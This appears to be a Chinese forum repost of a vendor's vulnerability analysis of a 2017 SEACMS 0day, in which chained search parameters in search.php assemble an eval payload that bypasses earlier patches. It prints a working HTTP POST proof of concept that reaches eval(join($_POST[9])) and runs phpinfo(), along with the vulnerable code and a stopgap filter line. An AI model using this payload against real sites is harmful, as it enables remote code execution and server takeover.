最近看过此主题的会员

返回列表 发帖
海洋CMS(SEACMS)0day漏洞分析
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        海洋CMS是一套专为不同需求的站长而设计的视频点播系统,在影视类CMS中具有很高的市场占有率
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        其官方地址是:http://www.seacms.net/
[/quote]

        海洋CMS(SEACMS)几个老漏洞及其修补方法

<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        在2017年2月,海洋CMS 6.45版本曾爆出一个前台getshell漏洞,漏洞具体内容参见:http://blog.csdn.net/qq_35078631/article/details/76595817。
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        该漏洞成因在于search.php没有对用户输入内容进行过滤,导致攻击者提交的order参数可进入parseIf函数中执行eval。  
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        官方在6.46版中修复了该漏洞,修复方法是对用户输入的参数进行过滤并限制长度为20个字符。
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        但这种修复方法并没有完全修复漏洞,因为在替换操作过程中用户输入的几个参数可以进行组合,因此补丁被绕过。  
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        随后官方又在8月7日发布了6.54版本再次修复漏洞,这次修复增加了一句:
[/quote]

$order = ($order == "commend" || $order == "time" || $order == "hit") ? $order : "";


<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        即限制了order参数只能是固定内容,这样虽然避免了通过order参数进行的攻击,但是却没有解决其他参数进入parseIf函数的问题。
[/quote]

        海洋CMS(SEACMS)0day漏洞分析

<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        我们抓取到的攻击payload(POC)如下:
[/quote]

POST /search.php HTTP/1.1
Host: www.xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: keep-alive
Upgrade-Insecure-Requests: 1 searchtype=5&amp;searchword={if{searchpage:year}&amp;year=:e{searchpage:area}}&amp;area=v{searchpage:letter}&amp;letter=al{searchpage:lang}&amp;yuyan=(join{searchpage:jq}&amp;jq=($_P{searchpage:ver}&amp;&amp;ver=OST[9]))&amp;9[]=ph&amp;9[]=pinfo();


<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        可以看到,攻击入口已经不在是order参数,我们来看一下search.php中的搜索实现过程:
[/quote]

function echoSearchPage() {
......
    $content = str_replace("{searchpage:page}",$page,$content);
            $content = str_replace("{seacms:searchword}",$searchword,$content);
    $content = str_replace("{seacms:searchnum}",$TotalResult,$content);
            $content = str_replace("{searchpage:ordername}",$order,$content);
......
    $content = str_replace("{searchpage:year}",$year,$content);
            $content = str_replace("{searchpage:area}",$area,$content);
    $content = str_replace("{searchpage:letter}",$letter,$content);
            $content = str_replace("{searchpage:lang}",$yuyan,$content);
    $content = str_replace("{searchpage:jq}",$jq,$content);
    ......
            $content = str_replace("{searchpage:state}",$state2,$content);
    $content = str_replace("{searchpage:money}",$money2,$content);
            $content = str_replace("{searchpage:ver}",$ver,$content);
......
    $content=$mainClassObj->parseIf($content);


<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        可以看到,代码中对html中的searchpage标签进行了多次替换,而攻击者也正是利用了这一点,在多次替换过程中使多个参数共同组合成最终的payload,
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        这样既绕开了RemoveXSS的过滤又绕过了20字节的长度限制。  
在对参数进行了替换之后,content中已经包含了如下攻击payload:
[/quote]

if:eval(join($_POST[9]))


<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        在随后的POST数据中攻击者又利用9[]把真正的payload利用base64_decode传入。最终$content内容被传入parseIf函数。
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        在parseIf函数中判断含有if:标签,就会调用eval来执行该内容,从而导致了攻击者的payload被执行。
[/quote]

function parseIf($content){ if (strpos($content,'{if:')=== false){ return $content;
                    }else{
......
                    @eval("if(".$strIf."){$ifFlag=true;}else{$ifFlag=false;}");


        漏洞修复

<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        根据云锁监测,目前该0day已经被大规模运用,而且攻击者使用自动化攻击脚本对全网SEACMS进行搜索并实施自动攻击。
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        我们已在9月份向CNVD和厂商报告了漏洞详情,但截至2017.10.9,SEACMS仍然未发布该漏洞的补丁。
[/quote]
<p style="font-size:15px;color:#585858;font-family:微软雅黑;background-color:#FFFFFF;">
        建议SEACMS用户立即安装云锁并开启文件防上传功能,可暂时避免被自动化程序攻击。或在echoSearchPage()函数中增加一条过滤语句:
[/quote]

if(strpos($searchword,'{searchpage:')) exit;




















公告:https://www.sitedirsec.com公布最新漏洞,请关注

TOP

返回列表